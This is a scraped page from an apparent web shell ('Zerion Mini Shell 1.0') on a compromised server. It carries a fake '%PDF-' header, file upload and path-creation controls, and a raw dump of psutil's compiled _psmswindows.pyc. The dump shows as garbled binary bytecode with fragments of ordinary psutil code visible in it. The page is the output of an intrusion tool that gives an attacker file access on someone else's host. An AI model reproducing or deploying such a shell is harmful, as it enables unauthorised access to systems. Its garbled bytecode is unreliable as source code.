%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/psutil/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyc

�
���Rc@s�dZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZddlTddl
mZmZmZmZddd	d
ddgZyej�ZWn'ek
r�dZejd
e�nXyej�ZWn'ek
r1dZejde�nXyej�dZWn'ek
rodZejde�nXdZeejej eg�Z!ddlm"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(e)d��Z*d�Z+ejZe,ddj-dddddg��Z.d�Z/d�Z0d�Z1d�Z2e,d d!�Z3d"�Z4d#�Z5d$�Z6ej7Z7ej8Z8ej9Z:ej;Z<d%�Z=d&e>fd'��YZ?dS((s Windows platform implementation.i����N(tERROR_ACCESS_DENIED(tAccessDeniedt
NoSuchProcesstTimeoutExpired(t*(tPY3txrangetlongtwrapstABOVE_NORMAL_PRIORITY_CLASStBELOW_NORMAL_PRIORITY_CLASStHIGH_PRIORITY_CLASStIDLE_PRIORITY_CLASStNORMAL_PRIORITY_CLASStREALTIME_PRIORITY_CLASSs&couldn't determine platform's NUM_CPUSs'couldn't determine platform's BOOT_TIMEis*couldn't determine platform's TOTAL_PHYMEMi(R	R
RRR
RtINFINITEcCs
tj|�S(N(t_psutil_mswindowstwin32_QueryDosDevice(ts((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt_win32_QueryDosDevice=scCsmtr(t|t�r(|jd�}ndj|jd�d �}t|�}tjj||t	|��S(Ntutf8s\i(
Rt
isinstancetstrtdecodetjointsplitRtostpathtlen(Rtrawdrivetdriveletter((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt_convert_raw_pathAs
tvmemt ttotalt	availabletpercenttusedtfreecCsotj�}|\}}}}}}|}|}|}	||}
t|||dd�}t||||
|	�S(s&System virtual memory as a namedtuple.t_roundi(Rtget_virtual_memt
usage_percenttnt_virtmem_info(tmemttotphyst	availphysttotpageft
availpagefttotvirttfreevirtR"tavailR&R%R$((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytvirtual_memoryTs
cCsXtj�}|d}|d}||}t||dd�}t||||dd�S(s=Swap system memory as a (total, used, free, sin, sout) tuple.iiR'ii(RR(R)tnt_swapmeminfo(R+R"R&R%R$((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytswap_memory`s


cCs�ytj|�\}}WnOtk
rjtj�d}tjj|�sdtt	j
d|��n�nX||}t||dd�}t||||�S(s'Return disk usage associated with path.isNo such file or directory: '%s'R'(
Rtget_disk_usagetWindowsErrortsystexc_infoRRtexiststOSErrorterrnotENOENTR)tnt_diskinfo(RR"R&terrR%R$((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR6is

cCs,tj|�}g|D]}t|�^qS(sReturn disk partitions.(Rtget_disk_partitionstnt_partition(talltrawlisttx((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytdisk_partitionsvstcputimessuser system idlecCs`d\}}}x>tj�D]0}||d7}||d7}||d7}qWt|||�S(s)Return system CPU times as a named tuple.iii(iii(Rtget_system_cpu_timest_cputimes_ntuple(tusertsystemtidletcpu_time((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyRG~scCsOg}xBtj�D]4}|\}}}t|||�}|j|�qW|S(s6Return system per-CPU times as a list of named tuples.(RRGRHtappend(trettcpu_tRIRJRKtitem((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_system_per_cpu_times�scCsXg}tj�}x?|D]7}|\}}}t|d||�}|j|�qW|S(s:Return currently connected users as a list of namedtuples.N(Rtget_system_userstnt_usertNoneRM(tretlistRCRPRIthostnamettstamptnt((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyRR�s
cst���fd��}|S(sqDecorator which translates bare OSError and WindowsError
    exceptions into NoSuchProcess and AccessDenied.
    cs�y�|||�SWnutk
r�tj�d}|jtkr[t|j|j��n|jtjkr�t	|j|j��n�nXdS(Ni(
R;R8R9R<tACCESS_DENIED_SETRtpidt
_process_nametESRCHR(tselftargstkwargsR?(tfun(sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytwrapper�s
(R(R`Ra((R`sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytwrap_exceptions�stProcessc
BsEeZdZddgZd�Zed��Zed��Zed��Zed��Z	d�Z
ed	��Zed
dj
dd
ddddddddg
��Zed��Zedd�Zedd�Zd�Zed��Zed3d��Zed��Zed��Zed��Zed ��Zed!��Zed"��Zed#��Zed$��Zed%��Zed&d'��Zed(��Z ed)��Z!e"e#d*�r�ed+��Z$ed,��Z%ned-��Z&ed.��Z'ed/��Z(ed0��Z)ed1��Z*ed2��Z+RS(4s1Wrapper class around underlying C implementation.RZR[cCs||_d|_dS(N(RZRTR[(R]RZ((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt__init__�s	cCstj|j�S(s4Return process name as a string of limited len (15).(Rtget_process_nameRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyRe�scCsttj|j��S(N(RRtget_process_exeRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyRf�scCstj|j�S(s.Return process cmdline as a list of arguments.(Rtget_process_cmdlineRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyRg�scCstj|j�S(sReturn process parent pid.(Rtget_process_ppidRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyRh�scCs^ytj|j�SWnCtk
rYtj�d}|jtkrStj|j�S�nXdS(Ni(	Rtget_process_memory_infoRZR;R8R9R<RYtget_process_memory_info_2(R]R?((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt_get_raw_meminfo�s
cCs!|j�}t|d|d�S(s1Returns a tuple or RSS/VMS memory usage in bytes.ii(Rkt
nt_meminfo(R]tt((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_memory_info�stmeminfoR!tnum_page_faultst	peak_wsettwsettpeak_paged_poolt
paged_pooltpeak_nonpaged_poolt
nonpaged_pooltpagefilet
peak_pagefiletprivatecCs|j|j��S(N(t_nt_ext_memRk(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_ext_memory_info�stmmapspath rsssaddr perms path rssccs�ytj|j�}Wn�tk
r�tj�d}|jtjtjt	fkrlt
|j|j��n|jtjkr�t
|j|j��n�nGXxC|D];\}}}}t|�}t|�}||||fVq�WdS(Ni(Rtget_process_memory_mapsRZR;R8R9R<tEPERMtEACCESRRR[R\RRthex(R]trawR?taddrtpermRtrss((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_memory_maps�s
cCstj|j�S(s*Terminates the process with the given PID.(Rtkill_processRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�
scCsb|dkrt}nt|d�}tj|j|�}|tkr^t|j|j��n|S(Ni�(	RTRtintRtprocess_waitRZtWAIT_TIMEOUTRR[(R]ttimeoutRN((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�s	cCs#|jdkrdStj|j�S(s1Return the name of the user that owns the processiisNT AUTHORITY\SYSTEM(ii(RZRtget_process_username(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�scCsq|jdkrtSytj|j�SWnCtk
rltj�d}|jtkrftj	|j�S�nXdS(Niii(ii(
RZt	BOOT_TIMERtget_process_create_timeR;R8R9R<RYtget_process_create_time_2(R]R?((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�"s
cCstj|j�S(N(Rtget_process_num_threadsRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�/scCsUtj|j�}g}x6|D].\}}}t|||�}|j|�qW|S(N(Rtget_process_threadsRZt	nt_threadRM(R]RCRUt	thread_idtutimetstimetntuple((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�3scCskytj|j�}WnHtk
r`tj�d}|jtkrZtj|j�}qa�nXt	|�S(Ni(
Rtget_process_cpu_timesRZR;R8R9R<RYtget_process_cpu_times_2tnt_cputimes(R]RNR?((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt
get_cpu_times<s
cCstj|j�S(N(Rtsuspend_processRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�HscCstj|j�S(N(Rtresume_processRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�LscCsI|jdkr't|j|j��ntj|j�}tjj|�S(Nii(ii(RZRR[Rtget_process_cwdRRtnormpath(R]R((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR�PscCs�|jdkrgSg}tj|j�}xQ|D]I}t|�}t|�r2||kr2t|d�}|j|�q2q2W|S(Niii����(ii(RZRtget_process_open_filesRt
isfile_stricttnt_openfileRM(R]RUtraw_file_namestfileR�((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_open_filesYs
tinetcCs�|tkrGtd|djgtD]}t|�^q"�f��nt|\}}tj|j||�}g|D]}t|�^qvS(Ns+invalid %r kind argument; choose between %ss, (t	conn_tmapt
ValueErrorRtreprRtget_process_connectionsRZt
nt_connection(R]tkindRDtfamiliesttypesRNtconn((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_connectionsjs5cCstj|j�S(N(Rtget_process_priorityRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_process_nicesscCstj|j|�S(N(Rtset_process_priorityRZ(R]tvalue((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytset_process_nicewstget_process_io_prioritycCstj|j�S(N(RR�RZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_process_ionice}scCsG|rtd��n|dkr4td|��ntj|j|�S(Ns?set_process_ionice() on Windows takes only 1 argument (2 given)iiis9value must be 2 (normal), 1 (low) or 0 (very low); got %r(iii(t	TypeErrorR�Rtset_process_io_priorityRZ(R]R�t_((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytset_process_ionice�s
cCskytj|j�}WnHtk
r`tj�d}|jtkrZtj|j�}qa�nXt	|�S(Ni(
Rtget_process_io_countersRZR;R8R9R<RYtget_process_io_counters_2tnt_io(R]RNR?((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR��s
cCs$tj|j�}|rtStSdS(N(Rtis_process_suspendedRZtSTATUS_STOPPEDtSTATUS_RUNNING(R]t	suspended((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_process_status�scCs%d�}tj|j�}||�S(NcSs+gtd�D]}d|>|@r
|^q
S(Ni@i(R(RDti((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt<lambda>�s(Rtget_process_cpu_affinityRZ(R]tfrom_bitmasktbitmask((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR��s	cCswd�}tttt����}x-|D]%}||kr+td|��q+q+W||�}tj|j|�dS(NcSsB|std|��nd}x|D]}|d|O}q&W|S(Nsinvalid argument %rii(R�(tltouttb((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt
to_bitmask�s
sinvalid CPU %r(tlisttrangeRRQR�Rtset_process_cpu_affinityRZ(R]R�R�tallcpustcpuR�((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyR��s	
cCs^ytj|j�SWnCtk
rYtj�d}|jtkrStj|j�S�nXdS(Ni(	Rtget_process_num_handlesRZR;R8R9R<RYtget_process_num_handles_2(R]R?((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_num_handles�s
cCsttj|j��S(N(tnt_ctxswRtget_process_num_ctx_switchesRZ(R]((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pytget_num_ctx_switches�sN(,t__name__t
__module__t__doc__t	__slots__RdRbReRfRgRhRkRnt
namedtupleRRzR{tnt_mmap_groupedtnt_mmap_extR�R�RTR�R�R�R�R�R�R�R�R�R�R�R�R�thasattrRR�R�R�R�R�R�R�R�(((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyRc�sb						
		

(@R�R<RR8tplatformtwarningsRRt
psutil._errorRRRtpsutil._commontpsutil._compatRRRRt__extra__all__tget_num_cpustNUM_CPUSt	ExceptionRTtwarntRuntimeWarningtget_system_boot_timeR�R(tTOTAL_PHYMEMR�t	frozensetR~RRYR	R
RRR
RRtmemoizeRRR�RR*R3R5R6RERHRGRQRRtget_pid_listt
pid_existstget_network_io_counterstnetwork_io_counterstget_disk_io_counterstdisk_io_countersRbtobjectRc(((sF/opt/alt/python27/lib64/python2.7/site-packages/psutil/_psmswindows.pyt<module>sd
"	


4	
					
		
			
					

Zerion Mini Shell 1.0